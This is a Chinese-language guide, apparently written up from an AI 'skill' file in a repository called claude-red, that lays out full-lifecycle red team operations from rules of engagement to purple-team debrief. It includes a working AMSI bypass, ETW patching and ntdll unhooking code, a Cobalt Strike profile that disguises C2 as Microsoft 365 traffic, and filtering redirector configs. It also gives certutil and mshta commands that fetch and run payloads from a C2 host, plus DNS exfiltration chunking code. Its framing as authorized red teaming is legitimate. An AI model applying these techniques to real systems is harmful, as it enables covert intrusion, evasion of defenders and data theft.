claude-red Advanced Red Team Operations:从交战规划到汇报的全生命周期对抗模拟方法论
claude-red Advanced Red Team Operations:从交战规划到汇报的全生命周期对抗模拟方法论
本指南以 claude-red 仓库中 Skills/infrastructure/offensive-advanced-redteam/SKILL.md 为主体,完整梳理高级红队交战的各个阶段:交战规划与规则约定、分层 C2 基础设施、可塑性流量画像与 Beacon 技术、OPSEC 纪律、端点规避、数据处理与取证链、结构化报告与紫队复盘,并贯穿 MITRE ATT&CK 战术映射。读者可将其作为规划或执行对抗模拟交战的作战手册,直接落地到授权测试项目中。
引言:红队交战与渗透测试的本质区别
红队交战(red team engagement)以真实世界的攻击者身份,对组织的人员、流程与技术进行综合模拟。与在固定范围内最大化漏洞发现的渗透测试不同,红队交战的核心目标是检验检测与响应能力:在追求特定目标的同时规避防御者。你在交战规则(Rules of Engagement, ROE)约束下行动,每一动作都必须是有意的、有记录的、可逆的。
该技能文档在 claude-red 中位于 Skills/infrastructure/offensive-advanced-redteam/SKILL.md,属于仓库 infrastructure 分类下 7 个技能之一,聚焦于完整的交战生命周期。与同分类的 offensive-initial-access(初始访问向量)、offensive-edr-evasion(EDR 规避细节)、offensive-c2-frameworks(C2 框架部署)形成互补,本技能将各阶段串成一条端到端作战链路。
文档提供的快速工作流(Quick Workflow)概括了八个核心阶段,全文围绕其展开:
- 与客户协商范围、交战规则与去冲突(deconfliction)流程。
- 构建分层攻击基础设施:重定向器、老化域名、有效 TLS。
- 配置 C2 画像以融入目标合法流量模式。
- 在严格 OPSEC 纪律下执行攻击链,记录每一个动作。
- 加密采集与暂存数据,全程维护取证链。
- 使用经过测试的绕过技术规避端点与网络防御。
- 以 MITRE ATT&CK 映射文档化发现并交付结构化报告。
- 开展紫队复盘以验证检测缺口与修复建议。
交战规划:保护操作者与客户的起点
文档明确强调:跳过规划阶段会招致范围争议、法律暴露与作战失败。每个红队交战都从保护操作者与客户双方的规划开始。
范围与目标
明确定义测试什么、成功是什么样。常见目标类型包括:
- 数据外泄:从数据库取回特定记录。
- 域内统治(domain dominance):获取 Domain Admin 或同等权限。
- 业务流程中断:证明能够使关键工作流瘫痪。
- 物理访问:进入受限区域。
同时必须显式文档化范围之外的内容:不能容忍宕机的生产系统、未经授权的第三方 SaaS 平台、破坏性行为,以及对特定个人的社会工程(高管、法务)。这些红线在后续谈判与法律保护中至关重要。
交战规则(ROE)
ROE 是一份签署的法律文件,必须包含:
| 要素 | 要求 |
|---|---|
| 授权窗口 | 允许活动的确切日期与小时 |
| 授权技术 | 允许哪些 ATT&CK 战术(如禁止物理访问、禁止供应链攻击) |
| 通知阈值 | 必须暂停并通知客户的条件(如发现活跃威胁行为者、发现儿童剥削材料、意外数据破坏) |
| 紧急联系人 | 24/7 电话用于即时去冲突,而非仅电子邮件 |
| 法律盾牌 | 明确书面授权,援引美国 CFAA(Computer Fraud and Abuse Act)、英国 Computer Misuse Act 或同等本地法规 |
从 claude-red 仓库结构看,这与 offensive-reporting 中强调的范围/限制/假设文档化一脉相承——报告阶段的 Engagement Overview 同样要求记录范围、方法论、局限与时间线。
去冲突(Deconfliction)
建立去冲突流程,使防御者能够验证观察到的活动是本方作战还是真实威胁。文档给出三种常见模式:
- 可信代理模型(Trusted agent model):防御方 1-2 名知晓交战进行的个体,通过安全通道确认或否认你的活动。
- 口令字系统(Code word system):在工具或流量中嵌入独特口令字,防御者可向可信代理查询。
- 去冲突日志(Deconfliction log):每条动作带时间戳的记录,通过加密通道近实时共享给可信代理。
文档给出了可直接套用的日志条目格式:
# Example deconfliction log entry
2026-08-25T14:32:00Z | OPERATOR: kai | ACTION: lateral-movement
TARGET: 10.10.5.22 (WORKSTATION-FIN03)
TECHNIQUE: T1021.006 (Windows Remote Management)
TOOL: evil-winrm via SOCKS proxy
NOTES: creds from LSASS dump on WORKSTATION-FIN01
DECONF-CODE: REDTIGER-4482
通信安全
所有操作者通信使用端到端加密通道。严禁通过未加密电子邮件或 Slack 讨论目标细节。文档建议:
- 实时协调使用专用加密消息平台(Signal、Wire 或自托管 Matrix 实例)。
- 文件与日志传输使用双向认证 TLS 或 GPG 加密压缩包。
基础设施搭建:红队与 Kali 渗透的本质分水岭
文档直言:基础设施是区分红队交战与从 Kali VM 跑渗透测试的东西。投入时间构建弹性、仅可归属到掩护身份、且分段的基础设施——烧掉一个资产不牵连整个作战。基础设施动作映射到 MITRE ATT&CK Resource Development (TA0042)。
三层架构
将基础设施至少分为三层:
| 层级 | 用途 | 烧毁容忍度 | 示例 |
|---|---|---|---|
| T1 - 投递 | 钓鱼、载荷托管 | 高(预期被烧) | 老化域名 + Mailgun |
| T2 - 短程 C2 | 交互式操作者会话 | 中 | VPS + Cloudflare tunnel |
| T3 - 长程 C2 | 持久回连 | 低(不惜代价保护) | DNS-over-HTTPS beacon |
每层使用独立域名、独立 VPS 提供商、独立操作者账户。若 T2 被烧,通过 T3 重新建立交互访问,无需重新钓鱼。这条原则在文档末尾的 OPSEC 规则中再次被强调为"不可谈判":Separate infrastructure per tier; burning T1 must not expose T3。
域名老化与声誉建设
至少在交战前 14-30 天注册域名。老化期间:
# Set up a basic landing page to build categorization
sudo certbot certonly --standalone -d ops-portal.example.com
echo "<html><body>Coming soon</body></html>" > /var/www/html/index.html
# Submit to categorization services
# Visit: https://sitereview.bluecoat.com/
# Visit: https://www.fortiguard.com/webfilter
# Categorize as "Business" or "Technology" - never "Uncategorized"
# Verify categorization after 7-10 days
curl -s "https://sitereview.bluecoat.com/resource/lookup" \
-d "url=ops-portal.example.com" | jq .
选域名要贴合目标行业:若目标是金融机构,类 fintech SaaS 产品域名比游戏站更可信。这与 offensive-initial-access 中"域名声誉、年龄、类别应健全,域名应使用 https"的初始访问要点互为印证。
重定向器与流量过滤
绝不将团队服务器直接暴露到互联网。使用重定向器过滤流量、仅转发合法 Beacon 回连:
# /etc/nginx/sites-available/redirector.conf
# Smart redirector: forward only traffic matching your C2 profile
server {
listen 443 ssl;
server_name ops-portal.example.com;
ssl_certificate /etc/letsencrypt/live/ops-portal.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/ops-portal.example.com/privkey.pem;
# Only forward requests with the correct URI and User-Agent
location /api/v2/session {
if ($http_user_agent !~* "Microsoft-Delivery-Optimization") {
return 302 https://www.microsoft.com;
}
proxy_pass https://127.0.0.1:8443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
# Everything else redirects to a legitimate site
location / {
return 302 https://www.microsoft.com;
}
}
该"URI + User-Agent 双条件过滤"的智能重定向器模式,与仓库中 offensive-c2-frameworks 描述的 "redirector architecture using Apache mod_rewrite and Nginx" 完全一致——前者是本文档的战术细节,后者是框架层面的部署指南。
团队服务器管理流量使用 Cloudflare Zero Trust 隧道或 SSH 隧道,而非暴露管理端口:
# Bind team server to localhost only
./teamserver 127.0.0.1 <password> /path/to/malleable.profile
# Create a Cloudflare tunnel for operator access
cloudflared tunnel create redteam-mgmt
cloudflared tunnel route dns redteam-mgmt mgmt.internal-ops.example.com
cloudflared tunnel run --url tcp://127.0.0.1:50050 redteam-mgmt
# Operators connect through the tunnel
# On operator machine:
cloudflared access tcp --hostname mgmt.internal-ops.example.com --url 127.0.0.1:50050
VPS 与 TLS 证书
- 选择接受加密货币或预付卡付款的 VPS 提供商以抵抗归因;避免无正当程序即与执法部门共享基础设施信息的提供商。
- 始终使用公共 CA 签发的有效 TLS 证书;自签名证书会被网络监控轻松指纹识别。
# Generate a certificate with certbot
sudo certbot certonly --standalone -d c2.example.com
# Convert to Java Keystore for Cobalt Strike
openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem \
-out c2.pkcs12 -name c2 -passout pass:changeit
keytool -importkeystore -srckeystore c2.pkcs12 -srcstoretype pkcs12 \
-destkeystore c2.store -deststorepass changeit -srcstorepass changeit
C2 战术:流量与合法业务水乳交融
命令与控制是作战的脊梁。C2 流量必须融入目标合法网络活动并经受住防御者检查,映射到 MITRE ATT&CK Command and Control (TA0011)。
可塑性画像与流量混合
写可塑性画像前先研究目标合法流量:若目标是 Microsoft 365 商店,Beacon 流量应像 Office 365 API 调用;若大量使用 AWS,则模仿 AWS SDK 流量模式。
# Cobalt Strike malleable C2 profile excerpt - Microsoft 365 blend
set sleeptime "60000";
set jitter "37";
set useragent "Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0)";
set host_stage "false";
https-certificate {
set keystore "c2.store";
set password "changeit";
}
http-get {
set uri "/api/v2.0/me/messages";
client {
header "Accept" "application/json";
header "Authorization" "Bearer eyJ0eXAiOi...";
metadata {
base64url;
prepend "ocp-client-id=";
header "Cookie";
}
}
server {
header "Content-Type" "application/json; odata.metadata=minimal";
header "X-MS-Request-Id" "a1b2c3d4-e5f6-7890-abcd-ef1234567890";
output {
base64url;
prepend "{\"@odata.context\":\"https://outlook.office.com/api/v2.0/$metadata#Me/Messages\",\"value\":[{\"Body\":{\"Content\":\"";
append "\"}}]}";
print;
}
}
}
http-post {
set uri "/api/v2.0/me/sendmail";
client {
header "Content-Type" "application/json";
id {
base64url;
prepend "client-request-id=";
header "Cookie";
}
output {
base64url;
print;
}
}
server {
header "Content-Type" "application/json";
output {
base64url;
prepend "{\"status\":\"sent\",\"id\":\"";
append "\"}";
print;
}
}
}
要点解读:host_stage "false" 禁用 staging(避免握手阶段暴露);metadata 经 base64url 编码后以 ocp-client-id= 前缀伪装成 OAuth 客户端 ID 放入 Cookie;server 输出则把数据包裹在 OData JSON 结构中以假乱真。这与 offensive-c2-frameworks 中的 M365 画像示例(/owa/auth/logon.aspx、session= Cookie 前缀)互相印证,说明同一套"URI 模仿真实应用端点、User-Agent 匹配合法流量"的原则在多个技能中一致贯彻。
睡眠、抖动与 Beacon 管理
除活跃的手动会话外,绝不使用零睡眠间隔;即使活跃会话也倾向 1-3 秒。空闲 Beacon 使用长睡眠 + 高抖动,以挫败对回连时间的统计分析:
| Beacon 类型 | 睡眠 | 抖动 | 用途 |
|---|---|---|---|
| 交互式(T2) | 5-10s | 30-50% | 活跃操作者会话 |
| 空闲(T2) | 60-300s | 30-50% | 等待任务 |
| 长程(T3) | 12-24h | 50% | 仅持久化 |
| 外泄 | 30-60s | 20% | 数据暂存期间 |
每个 Beacon 都必须设置 kill date。交战结束后数月仍回连的遗忘 Beacon 会给客户造成法律责任与混乱。
回退通道
设计带回退通道的 C2,使失去一条通信路径不等于失去植入体。典型回退链:
- 主通道:经 CDN 到域名 A 的 HTTPS。
- 次通道:到域名 B 的 DNS-over-HTTPS。
- 三通道:到域名 C 的 DNS TXT 记录查询。
- 应急:到硬编码 IP 的 ICMP 或原始 TCP(最后手段,高检测风险)。
植入体按顺序以指数退避尝试各通道;若全部失败,进入休眠状态并周期重试,而非产生大量嘈杂的失败连接尝试。
OPSEC 纪律:痕迹的管控者
OPSEC 失败会提前终结交战。你的每一个动作都留下痕迹,任务是最小化、控制并最终清除这些痕迹。映射到 MITRE ATT&CK Defense Evasion (TA0005)。
归因规避
将红队身份与真实身份及其他交战隔离:
- 所有交战相关浏览与注册使用专用 VPN 或 Tor。
- 使用一次性邮箱、交战专用假名注册域名与 VPS。
- 跨交战绝不复用基础设施、域名或工具。
- 交付前剥离所有文件元数据(图片 EXIF、Office 文档作者信息、编译二进制的构建路径)。
# Strip metadata from a phishing document
exiftool -all= phishing_doc.docx
# Verify no identifying metadata remains
exiftool phishing_doc.docx | grep -iE "author|creator|company|producer"
# Strip build paths from a compiled binary (Linux)
strip --strip-all implant
objcopy --remove-section=.note.gnu.build-id implant
工具签名管理
商业与开源工具都有已知签名,修改工具以规避默认指标:
- Cobalt Strike:修改默认命名管道模式、watermark 与进程注入技术。绝不使用默认画像。
- Mimikatz:从源码编译并随机化函数名与字符串加密,或使用替代方案
nanodump、PPLdump、经comsvcs.dll的 LSASS 转储。 - Impacket:修改默认服务名、管道名与防御者签名的 banner 字符串。
指标管理与清理
维护一张引入目标环境的每个指标的运行清单:投放的文件、修改的注册表键、创建的服务、添加的计划任务、创建的用户账户。交战结束时移除每个工件,或向客户提供完整清单由其自行清理。
# Example cleanup script - remove all operator artifacts
# Run this ONLY after documenting everything in your engagement log
# Remove dropped files
Remove-Item -Force "C:\ProgramData\updater.exe"
Remove-Item -Force "C:\Windows\Temp\debug.log"
# Remove persistence mechanisms
Unregister-ScheduledTask -TaskName "WindowsUpdateCheck" -Confirm:$false
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "Updater"
# Remove created accounts
Remove-LocalUser -Name "svc_backup$"
# Clear operator event log entries (provide log of cleared entries to client)
# WARNING: Only do this if explicitly authorized in the ROE
注意文档对清除日志给出明确警示:仅当 ROE 明确授权时才执行——这与 offensive-anti-forensics 中"证据销毁须在授权交战中进行"的定位一致。
数据处理:采集、加密与取证链
交战期间采集的每一条数据都是敏感的,处理不当会造成法律责任并侵蚀客户信任。映射到 MITRE ATT&CK Collection (TA0009) 与 Exfiltration (TA0010)。
采集与加密
立即加密所有采集数据。绝不在操作者机器或云存储中以明文存放凭据、PII 或敏感业务数据:
# Encrypt collected data before transfer
tar czf - loot/ | gpg --symmetric --cipher-algo AES256 \
--batch --passphrase-file /path/to/engagement.key > loot.tar.gz.gpg
# Transfer via SCP to your secure evidence server
scp loot.tar.gz.gpg operator@evidence.internal:/engagements/2026-CLIENT/
# Verify integrity
sha256sum loot.tar.gz.gpg > loot.tar.gz.gpg.sha256
暂存与外泄
绝不直接从源系统外泄:先复制到暂存目录、压缩、加密,再经 C2 通道或专用外泄路径传输。大容量数据使用 DNS 分块传输或跨多个 HTTP POST 请求拆分文件,避免触发 DLP 阈值:
# Chunk a file for exfiltration over DNS TXT queries
import base64, os
def chunk_file(filepath, chunk_size=180):
with open(filepath, 'rb') as f:
data = base64.b32encode(f.read()).decode()
chunks = [data[i:i+chunk_size] for i in range(0, len(data), chunk_size)]
return chunks
# Each chunk becomes a DNS query: <chunk>.exfil.example.com
# Reassemble on your DNS server from query logs
该"暂存 → 压缩 → 加密 → 分块 → 慢速滴灌"的流程与 offensive-data-exfiltration 的 Quick Workflow(清单目标数据 → 暂存 → 压缩拆分 → AES-256-GCM/ChaCha20 加密 → 选通道 → 慢速滴灌 → 校验 → 清理)在方法论上完全同构,可以交叉参考。
取证链(Chain of Custody)
为所有证据维护取证级保管链:
- 采集时对每个文件哈希(最低 SHA-256)。
- 记录谁在何时、因何访问数据。
- 将证据存储在加密、访问受控的存储中。
- 在约定的保留期(通常报告后 30-90 天)后销毁所有客户数据。
端点规避技术:在成熟防御下作战
现代企业环境部署 EDR、AMSI、基于 ETW 的遥测与行为分析。你需要不触发告警的作战技术,映射到 MITRE ATT&CK Defense Evasion (TA0005)。深层原理可进一步参考 offensive-edr-evasion 中关于 Windows 执行流(Application → DLLs → kernel32 → ntdll → Kernel)、EDR 可见性方法(minifilter 驱动文件监控、image load 内核回调、ETW Ti、NDIS 网络监控)的详细拆解。
AMSI 绕过
AMSI(Antimalware Scan Interface)检查 PowerShell、VBScript、JScript 与 .NET 程序集加载。在这些上下文中运行可疑命令前先绕过它:
# AMSI bypass via memory patching (patches AmsiScanBuffer to return clean result)
# This is a well-known technique; modify the pattern to avoid static signatures
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$f = $a.GetField('amsiInitFailed','NonPublic,Static')
$f.SetValue($null,$true)
# Alternative: patch the AmsiScanBuffer function directly
# Locate amsi.dll in memory and overwrite the scan function entry point
# with a RET instruction (0xC3) so it returns immediately
ETW 补丁
Event Tracing for Windows 为 EDR 传感器供数据。补丁 ETW 可阻止你的活动经此通道被记录:
// Patch EtwEventWrite in ntdll.dll to neutralize ETW logging
// Find the function address and overwrite with a RET (xC3)
IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Change memory protection, write 0xC3 (ret), restore protection
VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out _);
脱钩与直接系统调用
EDR 产品钩挂 ntdll.dll 函数以监控 API 调用。通过加载干净副本或直接系统调用绕过这些钩子:
// Unhooking: read a clean copy of ntdll.dll from disk and overwrite
// the .text section of the loaded ntdll in memory
byte[] cleanNtdll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");
// Parse PE headers, find .text section, overwrite hooked .text with clean copy
// This removes all EDR inline hooks from ntdll functions
// Direct syscalls: call the kernel directly, bypassing ntdll entirely
// Use tools like SysWhispers3 or HellsGate to resolve syscall numbers at runtime
// Example: NtAllocateVirtualMemory via direct syscall instead of VirtualAllocEx
SysWhispers 方式生成直接调用系统调用的汇编存根,完全绕过任何用户态钩子;HellsGate 与 HalosGate 在运行时通过读取 ntdll.dll 导出表动态解析系统调用号。这与 offensive-edr-evasion 所覆盖的 "hook unhooking (user/kernel)、direct syscalls、PPID spoofing" 主题一脉相承。
LOLBins 与 Living Off the Land
优先使用内置 Windows 二进制而非自定义工具。防御者预期看到这些二进制运行,除非命令行参数可疑,否则可能不告警:
| LOLBin | 用途 | ATT&CK 技术 |
|---|---|---|
certutil.exe |
文件下载、base64 解码 | T1105, T1140 |
mshta.exe |
执行 HTA 载荷 | T1218.005 |
rundll32.exe |
加载 DLL、执行导出 | T1218.011 |
regsvr32.exe |
经 COM 执行 scriptlet | T1218.010 |
wmic.exe |
进程创建、横向移动 | T1047 |
bitsadmin.exe |
经 BITS 下载文件 | T1197 |
curl.exe |
文件下载(Windows 10+) | T1105 |
msbuild.exe |
执行内联 C# 任务 | T1127.001 |
# Download a file using certutil (common LOLBin technique)
certutil -urlcache -split -f https://c2.example.com/payload.bin C:\Windows\Temp\payload.bin
# Execute an HTA payload via mshta
mshta https://c2.example.com/payload.hta
# Use MSBuild to execute inline C# (bypasses application whitelisting)
# Requires a .csproj or .xml file with inline Task containing your code
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.xml
报告与紫队复盘:交战价值的最终交付
报告是红队交战的主要交付物,必须同时与高管层和技术防御者沟通。
报告结构
按受众将报告划分为不同部分:
- 高管摘要(1-2 页):以非技术语言表述业务影响。攻击者能实现什么?对组织的风险是什么?
- 交战概览:范围、目标、时间线、方法论及遇到的限制。
- 攻击叙事:从初始访问到目标完成的攻击链按时间顺序讲解,含时间戳与截图。
- 技术发现:每项发现含描述、受影响系统、MITRE ATT&CK 映射、证据(截图、日志)、风险评级与修复建议。
- MITRE ATT&CK 热图:交战所用全部技术的可视化映射,突出检测成功与失败之处。
- 修复路线图:按投入与影响分组的优先建议列表。
- 指标附录:交战期间引入的全部 IOC 完整清单(IP、域名、文件哈希、用户账户、注册表键)。
这与 offensive-reporting 的报告结构模板(Executive Summary ← 最后写最先读 → Engagement Overview → Risk Summary → Technical Findings → Attack Narratives → Strategic Recommendations → Appendices)互为呼应;后者强调"发现的证据要即时记录、绝不事后重建",正是本技能第 4 步"记录每个动作"在交付层面的延伸。
紫队复盘
复盘是交战产生最大价值的环节。在报告交付一周内趁细节清晰时进行:
- 红蓝双方共同逐步走查攻击链。
- 每步自问:蓝队检测到了吗?若是,多快?若否,为何?
- 识别具体检测缺口,映射到日志、告警或工具缺陷。
- 为逃避监控的技术协同开发检测规则。
- 在受控环境中回放特定技术,供防御者调校工具。
交战场景:四种典型模式
| 场景 | 起点 | 聚焦 | 主要 ATT&CK 映射 |
|---|---|---|---|
| 假设失陷(Assumed Breach) | 初始立足点(带标准用户凭据的工作站) | 后利用:横向移动、提权、目标完成;免去初始访问的时间成本,检验内部检测与响应 | TA0008(横向移动)、TA0004(提权)、TA0006(凭据访问) |
| 外网到内网(External to Internal) | 互联网 | 含 OSINT、钓鱼或外部利用、初始访问与完整后利用序列的完整攻击链 | TA0043(侦察)至 TA0010(外泄) |
| 内鬼威胁(Insider Threat) | 拥有合法凭据与物理访问的恶意员工 | 越权访问数据、窃取知识产权、破坏系统;检验 DLP、访问控制与行为分析 | — |
| 物理与网络混合(Physical and Cyber Hybrid) | 物理入侵(尾随、克隆徽章、开锁)+ 网络作战 | 物理访问期间植入网络植入体(drop box)作为初始立足点 | — |
交战速查表
各阶段关键动作与战术映射
PHASE KEY ACTIONS ATT&CK TACTIC
-----------------------------------------------------------------------------------
Planning Scope, ROE, deconfliction, legal auth --
Infrastructure Domain aging, VPS, redirectors, TLS TA0042
Initial Access Phishing, exploitation, physical TA0001
Execution Loader -> minimal implant -> full C2 TA0002
Persistence Registry, scheduled tasks, DLL hijack TA0003
Priv Escalation Token manipulation, UAC bypass, kerberoast TA0004
Defense Evasion AMSI bypass, ETW patch, unhook, LOLBins TA0005
Credential Access LSASS dump, kerberoast, DCSync TA0006
Discovery AD enumeration, network scanning TA0007
Lateral Movement WinRM, SMB, DCOM, RDP hijack TA0008
Collection Stage sensitive data, encrypt TA0009
Exfiltration DNS tunnel, HTTPS chunked, cloud storage TA0010
C2 Malleable profiles, sleep/jitter, fallbacks TA0011
Cleanup Remove artifacts, verify, document --
Reporting Narrative, findings, ATT&CK map, debrief --
不可谈判的 OPSEC 规则
OPSEC RULES (NON-NEGOTIABLE)
- Team server binds to 127.0.0.1 only; all external access via redirector/tunnel
- Kill dates on every beacon; no exceptions
- Zero-sleep only during active hands-on-keyboard; 60s+ otherwise
- Encrypt all collected data immediately; never store plaintext credentials
- Separate infrastructure per tier; burning T1 must not expose T3
- Strip metadata from all delivered files
- Log every action with timestamp, target, technique, and deconfliction code
- Never reuse infrastructure, domains, or tooling across engagements
基础设施速查
INFRASTRUCTURE QUICK REFERENCE
Redirector: nginx/apache with URI + User-Agent filtering
Tunnel: cloudflared, SSH, or WireGuard to team server localhost
Domain age: minimum 14 days; 30 preferred; categorize within first week
TLS: Let's Encrypt or commercial CA; never self-signed
DNS: separate registrar from hosting; enable WHOIS privacy
C2 画像检查清单
C2 PROFILE CHECKLIST
[ ] host_stage = false (disable staging)
[ ] sleep/jitter configured per beacon tier
[ ] User-Agent matches target's legitimate traffic
[ ] URIs mimic real application endpoints
[ ] Memory obfuscation enabled (sleep_mask, obfuscate)
[ ] Valid TLS certificate in keystore
[ ] Spawn-to process set to legitimate binary (not rundll32)
[ ] Named pipes randomized (not default CS pattern)
在本仓库中的延伸阅读
该技能在 claude-red 的 infrastructure 分类中与以下技能配套使用,构成完整的红队链路:
- offensive-initial-access:TA0001 初始访问向量(钓鱼、凭据填充、暴露服务利用等)——对应速查表的 Initial Access 阶段。
- offensive-edr-evasion:EDR 规避的纵深细节(用户/内核脱钩、直接系统调用、PPID 欺骗、AMSI/ETW、内存加密)——对应 Defense Evasion 阶段。
- offensive-shellcode:载荷开发(免空字节、API 哈希、PEB 遍历)——对应 Execution 阶段 Loader 编写。
- offensive-windows-mitigations 与 offensive-windows-boundaries:Windows 缓解措施绕过与沙箱边界突破。
- offensive-c2-frameworks:Cobalt Strike、Sliver、Mythic、Havoc 等框架的部署与配置。
- offensive-persistence 与 offensive-lateral-movement:持久化与横向移动的操作级命令序列。
- offensive-data-exfiltration:DNS/HTTPS/ICMP 隧道等外泄通道实现细节。
- offensive-reporting:报告编写、CVSS 评分与证据卫生。
安装方式可参考 README.md 与 install.sh:./install.sh --category infrastructure 即可单独安装该分类。
关键参考
- MITRE ATT&CK Enterprise Matrix:https://attack.mitre.org/matrices/enterprise/
- MITRE ATT&CK Navigator:https://mitre-attack.github.io/attack-navigator/
- Red Team Operations with Cobalt Strike(Raphael Mudge):https://www.cobaltstrike.com/training
- SpecterOps Red Team Operations 培训课程:https://specterops.io/training
- CISA Red Team Sharing Guide:https://www.cisa.gov/resources-tools/resources/cisa-red-team-sharing-guide
- TIBER-EU 框架(基于威胁情报的道德红队测试):https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/html/index.en.html
- PTES(Penetration Testing Execution Standard):http://www.pentest-standard.org/
- LOLBAS 项目(Living Off The Land Binaries):https://lolbas-project.github.io/
- SysWhispers3:https://github.com/klezVirus/SysWhispers3
- HellsGate / HalosGate:https://github.com/am0nsec/HellsGate
合规提醒:本文所有技术均源自 claude-red 仓库的 Skills/infrastructure/offensive-advanced-redteam/SKILL.md,面向授权红队交战、攻防演练与安全研究场景。使用前务必取得书面授权并严格遵守 ROE;未经授权使用文中技术可能违反当地法律(如美国 CFAA、英国 Computer Misuse Act)。